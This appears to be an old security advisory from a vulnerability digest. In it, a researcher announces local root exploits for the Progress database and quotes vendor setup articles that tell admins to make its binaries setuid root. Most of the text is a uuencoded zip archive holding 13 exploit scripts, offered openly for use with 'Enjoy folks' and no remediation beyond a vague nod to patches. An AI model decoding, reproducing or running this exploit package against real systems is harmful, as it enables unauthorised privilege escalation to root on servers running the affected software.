|
COMMAND local PoC root exploit programs for Progress Database SYSTEMS AFFECTED All progress versions PROBLEM KF [http://www.snosoft.com] released proof of concept exploits regarding Progress database: Over the last couple years I have released several advisories on the security of the Progress database http://www.progress.com . Several versions of progres have since been retired and thus you should not be using them. Attached is a package containing 13 exploits to obtain root from Progress databases of various patch dates and release versions. Most of these exploits can be easily modified to work on all versions (from 63E) up and including the latest version 91d (like 83dbutils/83_proutil). There about 4 more exploits I need to code but they are a bit more difficult to exploit because they involve malloc() or free(). All of these issues should have already been addressed by progress patches, but be careful with which patch you apply... old Progerss patches are like rolling dice. These exploits will be available shortly at http://www.snosoft.com/research Here is a directory listing of the attached tar file to give you an idea of which programs are easily exploitable. [root@localhost working]# ls _dbutil-ex.pl _proapsv-ex.pl _progres_fileoverwrite.sh _rfutil-ex.pl _mprosrva-ex.pl _probuild-ex.pl _prooibk-ex.pl _mprosrv-ex.pl _progresa-ex.pl _prooidv-ex.pl _mprshut-ex.pl _progres-ex.pl _proutil-ex.pl Some of you may note that a few of these are not suid by default but I believe the following Kbase articles make that irrelevant. Kbase id 12538 says the following: EXPLANATION: In order for users to start a multi-user session for Progress, the following permissions should be maintained. Progress executables: The Progress executables should have read, write, and setuid for the user. The group and other should also have execute permissions. The owner of the executables should be root. This is accomplished with the the following steps: 1) Log in as root or switch user to root. 2) Move to the DLC directory. 3) Type the following set of commands: chown root _* chmod 4775 _* chmod 755 _sqlsrv2 chmod 755 _waitfor Or even better Kbase id 19341 says the following: When access to the Patch Web Site is available, go to: http://www.progress.com/patches/ ... copy -rom dlc/* $DLC 9. Change the permissions on the new files: find $DLC -exec chown root {} \\; chmod 4755 $DLC/bin/_dbutil chmod 4755 $DLC/bin/_mprosrv chmod 4755 $DLC/bin/_mprshut chmod 4755 $DLC/bin/_orasrv chmod 4755 $DLC/bin/_proapsv chmod 4755 $DLC/bin/_probrkr chmod 4755 $DLC/bin/_probuild chmod 4755 $DLC/bin/_progres chmod 4755 $DLC/bin/_prooibk chmod 4755 $DLC/bin/_prooidv chmod 4755 $DLC/bin/_proutil chmod 4755 $DLC/bin/_rfutil chmod 4755 $DLC/bin/_sqlsrv2 chmod 4755 $DLC/bin/orarx chmod 4755 $DLC/bin/prolib chmod 4755 $DLC/bin/sqlcpp Enjoy folks. begin 777 working.zip M4$L#!!0 ( !%[QRC[A\'+T@ ( \"P$ - 7V1B=71I;\"UE>\"YP;(52 MW6[3,!2^)D]Q:\"NU96MJIRW]6U&%M\'$WT#KM!@-S$IM$I\'%DNVLTQ#OQ\"\'L! M[I\'& R!QR0.,XZ2E2 AA*?%W_\'WG\\SFVFX_[&Z/[89KW\"Z$SK^DUX;56RBXS M%?$L4<:\"\"]\\TH1+&652)W\\7AQJ897/M[V!.E7V37F+^R7-M- 077?\"VLT 8B MGN?*0B@@4_E[H<$F/ <:3\"!*4!4YD0\\=.B2TBPXFZ04^&36K<A)KBUF_O]UN M?9,KHZ3U([6&\'JQYFEF%5*RLR;A)EG_P5>JKBY<O+DY7*[A\"_U3E,/$\'SP,\" MW(\"2<+D1<*YN *9 IS-\"9F0 IZM+#*933,X5=F\"C1!CP?1]B(?DFLY#FQO(L M\\P$E/;TU>EOJ7@DX:\'52#AT P(A,Z(CN-ZK,87=D3SRO)=)B04I*0XDCG\'OH M2LHZH\'166[19$) VG&A1\"&X-4\"S4IFMAGAV[*AKTCMY_9B08?V$!(3\\8&8S? MLH#2&Q;2.P3DC\'$7GS&),CIP^\"?^1N<L=-,5F@\"353:]=^S7915\\__;P\\%#= MMTD:6*R2$A;0((VYUS+IK5C :$BPYI9)1)8AY7E8;H.5 \\K*B-1S\'+(R1$S\' MN!:S<D(:_DXFD**2E2.!RU-6CI^RDDP.Z1/$0[<VKOD*1[4=\"7_;.$H.<$;W MH:@M\'![MY/6NAVJ</G;6Q\'$\'&PP%+L>8(N7^V[?OVLPW:RWL+3;:Z50\' /@, MZ^:[_:#;\'\\*\\$N6JJ$1_:U#@2:4[K11Y,@><3V#OZ\\*CHZ[WT7O4\"C=2\"NTO M\\ U&\'SKMK\'V,=OA8X C<-72[<^^3]P\\OM_U_O$@Y);7%C@5_41>)!18ZS2TT M.\'#8L:Y[[Q=02P,$% @ C7O\'*%++R84^ @ @ 0 X !?;7!R;W-R M=BUE>\"YP;)53[V_3,!#]C/^*HXW4EE\'\'29LV:5<T(4U\\ [1.?\"&(Y8=#(M(X MLMTU&N)_YYPT:R>&@$B1[]Y[]^SSR<.7]EY).RXJN^:R)$,RA,]2\"\'U5BB0J M<Z$TF/3+$%IA6B:M^.NNED+)>[BCC_&4-[0N[]!!Y5.7,F_8VN5:URO;/AP. M5%5\"B4S31.Q@\"KNH*+5 *A5:E9\'*K\\[XMO3CS8=W-]?;+7SB4A6B I_.WKH, M(@4B@]L]A_?B\'B )U@QMF(SN-[>8A($6%P)J\".=Y%P!I112GD7[4D-1*1V5 M)0643.5!R4,CIPW@Y[2=FN@4 \'C>DBV]?J/6\'/J.7Q%B\\:+>L\";.LHQ[S%D3 MM!U_2^,)-+;#%%@\\:::>/_,0/\\KFW%EUWH/!.>H^B\\Z>1><]6BS\\Q1,FZ)DG M\\SI-Z4R,YSV*1Z\'KLA%<2E[S2\"MP&0-=[+AZ@U=W5I $_U>P\"/YM!V*)+(,- M#-A@32Q5// ->,NYC]=IJ9R7)7*$F*[\"9N:$3<*Z-8W#)L;862*6AHW/!O0H MXT@Y6=AX\'.$@;):+L&\'^J=S\'>&ZP9<>W<=+9L?C1QE#9#%=TG_/.PL3>4=[M M>CJ-T:?&FAGN9(,I1SC%DBSK_W8T*A^8-JO]3G+]@(V.Q^T- #Z1KOF)[4[L M.:Q;427J5O2[!@4D$W)L%<BS->!Z\"7V)22\\N)N0\'>6\'%>QR-I!M\\\'\\GW\\:@< MO<9Y!6RR)C_Q(!T+=-,9_\\G4\'/8OIF/S.. \"S\' GG7LMBTK#44P(^0502P,$ M% @ !\'S\'*-84RJ)! @ AP0 \\ !?;7!R;W-R=F$M97@N<&R54VUO MTS 0_HQ_Q=%&:LMHXJ1)F[0KFB9-? .T3GPAB.7%(1%I\'-GN:@WQWSDG+>W$ M$! I\\MT]SSV^\\^F&+YV=%$Y:-4[+1$V&9 B?!.?JJN994I=<*C#NYR%TQ+S. M.O*7;2NX% \\)W-LG9\\JTW=;WJ\"\'+J6?38-@)EDJU2\\?9[_>V;+CDA;(SOH4I M;).J5ARAG\"M9)[*\\.L.[U ^W[]_>WFPV\\)$)6?$&0GMV[5%()/ \"[G8,WO$\' M@ C<:$GIDL[@9G.\'3A1A<L.A3516,@FV;4/.BF17*Z@:J9*ZM@$I4[&78J_% M5 -^;M>KL4X&0#!WO<@_7M2)PUG3KP@A%JO:-=7438NB8,&*H/3X:YY.0#LN ME6\"Q3$^#<!9@G.J.Y#-WV>L/!N=1[]GH[-FH?XQ6\\W#^!(F.R).IG55]Q@[H ML9)1[\'ET!)>\"M2Q1$CQ*055;)M_@^YTE9-\'_)<RC?[N!6+PH8 T#.E@12U:/ M; W!P@_Q/2U9LKI&C!#35JQG;JPSVI]Y&NL4;7>!L3S6(1W8!QI#R\"UB\'3 , M1[%>S&--PU-ZB+9O8HL>[^RLEZ/I+QD#%3,\\4=UGO82Q@P.]O_54C>\'G1IH: M[\"2#+L-PCBE%<?R[V<AR8-IL=EO!U\",V.AYW+P\"X)WWS$\\>;.#ZL.E+#VX[T M.P<)I.!B;%6(TQ7@>0G\'%.->7$S(=_+\"2G<X&F&O<4FR;^-1/7J-\\XKH9$5^ M8\"$]\"O:Z%_Z3J\"GV+Z)CLQUP 6:XDUZ]%56CX$#&_?D)4$L#!!0 ( &I\\ MQRCX\\#9(- ( #8$ . 7VUP<G-H=70M97@N<&R54MN.TS 0?<9?,;25 MVK(T<=,F;=HM6B&M> .TN^*%(#87FT2X<62[6VL1_\\XX:;?E)D2DR#-SSIRY MV/WG_DXK/ZMJOV%*D#[IPT<EI;D2,D]%*;4!YW[J0TLL1-Z2/V\\;I<N=@7OO MR9XPZS7B\'A5T.0D\\&O:AU2N-:5:^O]_O/5U++;GQ<KF%\"6S32AB)4\"&-%JDN MK\\[P-O7]S;LW-]>WM_\"!*5W)&I;>[\'5 (=4@.=SM&+R5#P Q3.,5I2LZ@^O; M.W3B&)-K\"4UJ\\I)I\\#P/\"L;3G3!0U=JD0GC8\'$S47JN]51,+^$W;49UU,@ B M.H]FX;%0*_[G7;P@9,\"J9D,MFP>+C\'.^)EAC]*7(QF#]*=4P8+F=1#2D&*?6 M4=B<IJNN4*^*EE\'O\'.%\'Y*=ZIXV?DX/%@3Q,@H .X5*QAJ5&0T IF&K+]\"O< MPED\"X_^7$&:_5L!Y)>>P@1[MK<E 5X]L V$<Q3CW0)=,\",0(<0,D=C9-;$Z[ ML\\@2FZ$]76\"L2.R2]KP#C2$TY8D-&8;CQ\"ZBQ-+E*7V)]MS%%AW>VGDG1[,G M&0?Q&9ZH/F>=A+/# [VK>NK&\\0LG31UVDD&78;C %,Z/?WL+NNRY,>O=5C\'S MB(..1NT& !]V-_S8#\\;^\'-8MJ99-2_J=@P3\"I1H-*L3I&O\"\\A&.*<R\\NQN0; M>3;(=G@+RMO@J\\Z_CH9B^!*O)J;C-?F.C70H>)M.^&^BKME_B([<*X8+<)<[ M[M0;5=4&#F1\"?@!02P,$% @ R\'S\'*+RK.&0Z @ FP0 X !?<\')O M=71I;\"UE>\"YP;)53;6_3,!#^C\'_%T59JRZCCI$W;M\"N:D\":^ 5HGOA $>;%) M1!I\'MDNM(?X[YZ1=BQ\":%BGRW3W//>>[D_LOO;U67EK67L-51?JD#Y^5E.:F MDEE2%5(;<.Z7/K3$O,I:\\M=&R;TI*_A&\'^T)M[3!\"$KH8A)0%O9;O<*89N5Y MA\\.!ZEIJ*0S-Y XFL$O*RDB$<FETE>CBY@)O4S_>?7AW=[O=PB>N=\"EK6-+I MVX!!HD$*N-]S>\"]_ D3@1RO&5FP*M]M[=*((DVL)36*R@FN@E$+.1;*O#)2U M-DE544#*1!VT.E@UL8\"?W[;JK+.!X@L_8-&I4\"L.IY9?$3+@9;-A-A5\"\\-G4 M7Q.4\'7W/TS%8SV<:!CRSDSF;,8R?:/YLU6GWROERWKM$HA/RU[C/0[XD3_TC M>1@\' 1O\"M>(-3XR&@#$PY8[K-]CX18*(GI<09L^L,%\\^L\\(B?*(\"#E@* 1OH ML=Z:#\'3YP#<01N$<!SW0!:\\JQ AQ$XOMU(]MQKHS3V.;HNTO,);\'=LEZ]$CC M\"/DBMB\'\'<!3;Q3RV;\'E.7Z(]<[%%A[=VULFQ]%\'&06**)ZK/>\"?A[/!([ZJ> M;^/XN9-F#CO+H,LQG&.*$*>_7;LN>J[->K]3W#Q@HZ-1.P\' Q],U/_:\"L3># M=4NJ9=.2_N4@@0BI1H,2<;8&/*_AE.+<JZLQ^45>#-(]+D71#;Z<[,=H6 U? MXZ8B-EZ3WWB1#@6ZZ83_)^HN^X3HR#T;N *WW\'&GWJBR-G D$T+^ %!+ P04 M \" .?<<H.#8CIC(\" A! #0 %]R9G5T:6PM97@N<&R-4FUOTS 0 M_HQ_Q=%&:LNHXZ9)E[0434@3WP!M$U\\(@KS8),*-H]BEUA#_G7/2KIL0@DB1 M[^YY[O\'=^<;/_;WN_+QN_)9WDHS)&#YU2IDKJ8I,5DH;<.[G,?3$4A8]^4LG M]J:6\\)6>S#FWM,4 \"NAJ\'E 6C7NURIAV[?N\'PX\'J1FDE#\"W4#N:PRVII%$*E M,EIFNKIZA/>I\'V[>O[VYOKV%C[S3M6H@ILLW 8-,@Q)PM^?P3OT 2&\"1K!E; MLR5<W]ZADR28W\"AH,U-47 .E%$HNLKTT4#?:9%)20,J\\.^CN8+NY!?P6?:/. M.AL JW@5Q<\'IHEX<CAV_((1XO&ZWS(8L%T+P<$-0=OJMS&=@_073X/\'\"SE<L MB##.[$ *ENM!>S1Z\' U/T1KO?((D)^3)$SQ,_C$W9$?N) T\"-H%7\'6]Y9C0$ MC(&I=UR_QFF<$R(6_U<\"\\900L(41&VV(I^M[OH4H\"2-LV-,5EQ(Q0ER-J5TN M4ENPX2SSU.9H+RXQ5J8V9B-ZI\'&$%B*U$<=PDMK+56I9?$Z/T0Y=[\'+ >[L8 MY%C^(.,@L<03U4,^2#@[.M*\'6\\_5.\'[II)G#SC+H<@R7F\"+$Z>\\\'K:N1:[/9 M[SIN[K\'1Z;2? . 2#\\W/_&#FA[#I28UJ>]*?\'\"00H;JI5R/.-H#G*SBE./?B M8D9^DF=>OL>GZ>@6-[CX/IW(R4M\\KX3--N07%C*@0+>#\\-]$7;\'_$)VZ]84+ M<(\\[&]3;KFX,\',FXX+\\!4$L#!!0 ( Y^QR@U\\V YY@$ % # / M7W!R;V)U:6QD+65X+G!LA9)O:]LP$,9?3Y_BE@2:+(LLQTX3)PN40=F[;31E M;^:Q^H^$S53+2\'(C.O;==[*39C#&#$9W]SSWL\\[2^\'70&1WD=1.T7$LR)F/X MJI6R-U(5F:R4L>#3;V/HC:4L>O/W5JN\\JV4)#_22++BCK80\'A)AJL:1L->Z) ME;7M-@B.QR,UC3)*6%JH1UC 8U9+JU JE34R,]7-\'WK?^OGNTX>[V\\,!OG!M M:M7 AD;OEPPR TK ?<?AHWH\"2\"!,MHQM602WAWM,D@2;&P5M9HN*&Z\"40LE% MUDD+=6-L)B4%M\"STT>BCTPL\'^(3]L#ZZ!+!<K>,H\"L\\?ZN\'P,O,;0LB$U^V> M.1[\'+!=\"[+\"BA( ]C-AH1R:F?N9[N%ZN$Z^8BDN)&B\'(\'J4N\"E-7L&$M\\]3E M&(=KK)6IV[ 1/=DX2J%(W8IC.4G=^CIU;\'-IWV <^]IZT/NX&\' L?\\%X242X M(CWF \\+\'JY-]^.IE-]Y?>C3SV@6#*<=RB2U\"G-_^:IAJY,=LND?-[3,..IWV M?P#PO(?A9\\%R%L2PZTV-:GO3WQXT$*\'T=%*CSG: ZSLXM_AT/I^1G^35).^$ MX)KN\\;\"+\'],K>?46F$O8;$=^X48&%>A^ /\\+ZC?[\'^C4GS/,P1_N;*\"WNFXL MG,QX$WX#4$L#!!0 ( \'=^QR@SO!F\'X@$ $P# . 7W!R;V=R97,M M97@N<&R%4MN.TS 0?<9?,;25MJ74<7I-6BJMD%:\\ =JN>\"&(S<4F$6X<V0ZU M%O\'OC)-VBX00D2*?F7/F>\":3X<N@-3K(JCIHN)9D2(;P62ME;Z7*4UDJ8\\&\' M7X;0\"0N9=^*OC5;?-#?P2)_QC#O:2\'A$\"U/.YI2MAIU?:6VS#8+3Z41-K8P2 MEN;J\"#,XII6T\"JE\"62-34][^P7>E\'^\\_O+N_.QS@$]>F4C5$=/%VSB UH 0\\ MM!S>JQ\\ ,83QEK$M6\\#=X0&#.,;B6D&3VKS$+BFE4\'\"1MM)\"51N;2DD!)3-] M,OKD],P!/F$WJD=7 /,X6H?KQ>6BSAPN([\\B9,2K9L\\<7RY9)H38848) 7L8 ML,&.C$SUQ/>PGD>19TS)I42.$\'0>)&X1)BYG_5EDB<L0AQO,%8F+V(\">91RI M4\"1NQ3$=)VZS3AR+KN41XJ7/;7J^PWEOQ[)G&T^)!9[HON2]A<>KL[R_]=J- MUQ?>FGGN:H,AQW2!)4)<WNZW,.7 CUFW1\\WM$PXZ\'G=? \'#;_?\"38#X)EK#K M1+5J.M\'?&A00H?1X5\"\'/=H#G&[B4^\' ZG9\"?Y,4H:X7@FNYQU?GW\\8V\\>0W, MQ6RR([^PD9X%NN^-_V7JF_V/Z=CO&:;@ESOIW1M=U1;.8D+(;U!+ P04 M\" #)?L<HMRR+GN0! !- P #P %]P<F]G<F5S82UE>\"YP;(62VX[3,!\"& MK_%3#&VE;2EUG!Z3EDJKE5;< =JNN\"&(S<$F$6X<V2ZQ%O\'NC).6(B%$I,@S M\\__SV1-G^#(X&1UD51TT7$LR)$/XI)6RMU+EJ2R5L8#BYR%TOD+FG?=+H]57 MS4T*3_2:S+BCC80G9)AR-J=L->R I;7--@C:MJ6F5D8)2W-UA!D<TTI:A5*A MK)&I*6__T+O6#P_OWS[<\'P[PD6M3J1HBNKB;,T@-* &/)P[OU\'> &,)XR]B6 M+>#^\\(A)\'&-SK:!);5YR Y12*+A(3])\"51N;2DD!+3/=&MTZ/7. 3PA^=!]= M YC\'T3I<+RX;=7\"XS/R*D!&OFCUS0O#EDF5BAQ4E!.QAP 8[,C+5,]_#>AY% M7C$EEQ(U0I \\2-PB3%S.^K7($I=A\'&ZP5B0N8@-ZMG&40I&X%<=RG+C-.G$L MNK9\'&\"]];=/K79SW.);]QGA)+\'!%^I+W\"!^OSO9^U^MIO+_P:.:U*P93CN4\" M6X2XO-V/8<J!\'[,^\'36WSSCH>-Q] <#;[H>?!/-)L(1=9ZI5TYG^]J\"!\"*7\' MHPIUM@-<W\\\"EQ:?3Z83\\(\"]&V0F_O*9[O.K\\V_A&WKP&YF(VV9&?>)!>!;KO MP?^\"^L/^!SKV]PQ3\\)<[Z>F-KFH+9S,AY!=02P,$% @ 2&7**,NRY>K) M 0 %@, !D !?<\')O9W)E<U]F:6QE;W9E<G=R:71E+G-HA9)M:]LP$,?? M^U/\\EP[:!OR4-,MJR*\"4,EB7-7/Z9E!(9?E:F\\@^3Y*7!/;A)R5[:%G9A)\"M M^^M^ISO=T:NXJ-O85,$1;%4;N%GV31%%D;-(UN2WG<$#*\\4;F%VCZG9MO&H8 MO2\'G1FBY#6G;*:ZM*)2SD6ZDZ%\"Q(D]F2,5%01JBW>&A]E9/J,)1E$Q>0QF$ M0B$F*^.&;>DT9;(_^PR?&*:7U=X7K%\'6FJ1EO7L.BN)5I_E1DUGYD_R-]$;7 MEJ)]ALLOR]NK.:[R_\";/8*RFUD+3UYZ,=1EJ-#YA6XD6X]%UA).WY^-3Y_</ M:@97#T*:9D ZG4SPN:\\M7AAQ;W1<*KFO]R_<?ZL0ZDVH0S\\](X5F/M!;+KC< M_:9/Q_C0M^Z+-,E&HZ>,IQ&DL,_PR9LXF<9)>O#*QN?.MCA<S2 GZ>LS=__B MD4[,:>948#@<XNS]1UP*I;\"T0JZ]*0ADB=@V7:!:A.80I1/&;,H57+:^E0*2 M%6/@\"M9OO^]7;&KKWK27:RK1=Y\"5T$*Z[H$AF]W=989G@_N.M$)(..YT[2XT MN!A@B_%9DB3\']WCGZ3_[+7 ]R-IBD=_<7N7SRXO%+(K_EKTVV\\</7GZ5\'U!+ M P04 \" #L8<HHB>R\"SJ,! \" P #@ %]P<F]A<\'-V+65X+G!LA5\'M MCILP$/Q=/\\46(ATT!0P)(31%NA]]BU+=\\6$7= Y&-BG657WWKB%WJ52=#AGM M>&=VO/:Z\'Z.+5E\'=#]\'(E\" N<>&[DG*Z%[*I1\"?U!+-43_WP\\X<+B[8531[7 M2\\G#J&0UZE_P&+[B@)EP%/\"(1KH+DI\"F[N+:3=/X)8KF>0[U(+7D4]C(,P1P MKGHQ2:1:.6E1Z>[^\'WXI#=2L56!P 7XQV/XLN@\'89TEZ3\'/XQAJ #\"\"AE+[9 M[B=\"-JP?\"VIJSGD>\']B);\"3G4(!#\'<2Z?V8%)%F\\.YQ0JSLF!)*$X$E.:79Q M:1JZQK8N38TXSC#7EN9(G? J8TC%O#0IPW1>FNQ0&GJ\\E1\\1[VTN6_D%-ZL= MK5]M+,5W&-%]SU8+B].K?#WUUHW5M]::6NYF@UN&Z19+.\'_YEW?1G6.O.5S. MBDW/>%\'/6YX <#KKY?TH\\:,]G!;1(,=%]+\\&!81+Y6UZY.D),\'Z%EQ*[W6Y] M\\IM\\V-07SID*\"QBKYLF[$W>?@9J<^B?R!QM960B+U?@M4]OL.Z:>G3-LP4[7 M7]U\'U0\\37,6$D+]02P,$% @ \'33**!1I[:YL @ 1P0 X !?<\')O M;VEB:RUE>\"YP;(53;6_3,!#^C\'_%T59:RVCBOK<KE=\"DB6\\;VB:^$,2<Y+R$ MNG%D.VTVQ\'_GG*S;)$!8CGR^>^[Q<SZG^S:LK GCO A+-(IU61>^&JW=1Z43 MH3)M\'?CMMRXTP%0E#?A[2=X\\WL)=\\&P/L0Y*!7=$8;/A..\"S;L.7.5>>A>\'A M< ALH:V6+DCT#H:P$[ERFD*I=E8)FWU\\%6]2/U]??;J^N+F!+VALK@M8!I/S M,0=A04NXK1 N]1Y@!:/5&>=G? (7-[>T6:THF> N0TA1BDHYR OKA%+DRRW0 MO+RZ!5OE:0#G%16)(H5MH0\\*[S$6%HE &)<G\"NDL TYL$42ZSQ,$:4@^%7UO MT%H010H/NCHAZDSLL>\'T9WL\"I1WLM\"&GJZ2DHX7S6$A;R%_D!92&>RP@1N?0 M!$$ /RIJPD\'D#B0)$5 *EV3@-- M(6@2_TH\"I=^C:XND1@GST KR36SRI4$, M/&QH#K49^@DT1BW\"CV<#8#Q=SI>+XR4W%PO\'=K]CK(=YN>$USN882RG7K*>I MR@UT>(=LFS_B!F;S,5\\3U&9(\\C; &/%VHGHRBNJ$MVL:1W5,]FA!OC2JE[P3 M/,&00B,9U3,D]RJJ%_.HYLN7]\"794^];M/\'&3EHZ\'C_3^)\"<T$KL4VPIO#U[ M@K>GOJCQ^-13<Q][H:$MDCNE%\"F/7_-\'V*SCRRRJG4\'W2(7V^\\T- #WTMOA! M.!Z$4U@WH$*7#>A/# $8-:K?RRG.UT#K!SBF^.WIZ8#]9&]Z,3TI>B$;>A#) MMG^B3MX#KU=\\L&:_2$@;A6#3$O^+U(O]#VG?MQE.P3=WT+*7)B\\</($98[\\! M4$L#!!0 ( ,YFRBCZ:LV/90$ (\\\" . 7W!R;V]I9\'8M97@N<&R% M47]K@S 0_7OY%#<K5.FJL3^LG1/V082U:H(R:\\38-73LN^^2],=@C\"%R+_?> MO=Q=)H_A40YAT71ASX:63/0\']3CVSV%X.IT\"V0DI^!B4X@!S..R;=A1(56*4 M[5[6KS]X4VKLJK8TEF_]($13?< NN.$Y4T\'?[E JZ_DBH.L)(2YK^HRJ.\"XX MYVR9$E=P#ADXU$$LFS/+((ZV28I26;.V18X0 \'!RM8QR55(;JR)7!>)H@[DJ M5PEU@HN,(17Q7*T9IK>YVL2YHLF]/$&\\TKF-Y0TNK1TM;C::XDN,Z+YBUD+C M]45N;[UWH_65MJ::N]O@D6&ZPA+.K[_9F:P=/69W/ QL/..@GF<V +A^.[P? M+OQP!:D1=:(WHM\\:%! N!L]MD*<I8\'R!:XD^SF8^^20/;G\'$I0]!!OV^?/>F M[?0)J-I2/R5?V(AE(<BL\\5^FNME_3#W]S# #_;B^=>^\'IAOA(B:$? -02P$\" M%@L4 \" 1>\\<H^X1R]( \" L! #0 ! \" @($ 7V1B M=71I;\"UE>\"YP;%!+ 0(6\"Q0 ( (U[QRA2R\\F%/@( ( $ . M $ ( \" @:L\" !?;7!R;W-R=BUE>\"YP;%!+ 0(6\"Q0 ( 1\\QRC6%,JB M00( (<$ / $ ( \" @14% !?;7!R;W-R=F$M97@N<&Q02P$\" M%@L4 \" !J?,<H^/ V2#0\" V! #@ ! \" @(&#!P 7VUP M<G-H=70M97@N<&Q02P$\"%@L4 \" #(?,<HO*LX9#H\" \";! #@ M ! \" @(\'C\"0 7W!R;W5T:6PM97@N<&Q02P$\"%@L4 \" .?<<H.#8C MIC(\" A! #0 ! \" @(%)# 7W)F=71I;\"UE>\"YP;%!+ 0(6 M\"Q0 ( Y^QR@U\\V YY@$ % # / $ ( \" @:8. !?<\')O M8G5I;&0M97@N<&Q02P$\"%@L4 \" !W?L<H,[P9A^(! !, P #@ M ! \" @(&Y$ 7W!R;V=R97,M97@N<&Q02P$\"%@L4 \" #)?L<HMRR+ MGN0! !- P #P ! \" @(\'\'$@ 7W!R;V=R97-A+65X+G!L4$L! M A8+% @ 2&7**,NRY>K) 0 %@, !D 0 @ (\"!V!0 %]P M<F]G<F5S7V9I;&5O=F5R=W)I=&4N<VA02P$\"%@L4 \" #L8<HHB>R\"SJ,! M \" P #@ ! \" @(\'8%@ 7W!R;V%P<W8M97@N<&Q02P$\"%@L4 M \" =-,HH%&GMKFP\" !\'! #@ ! \" @(&G& 7W!R;V]I M8FLM97@N<&Q02P$\"%@L4 \" #.9LHH^FK-CV4! \"/ @ #@ ! M \" @($_&P 7W!R;V]I9\'8M97@N<&Q02P4& T #0 8 P T!P end SOLUTION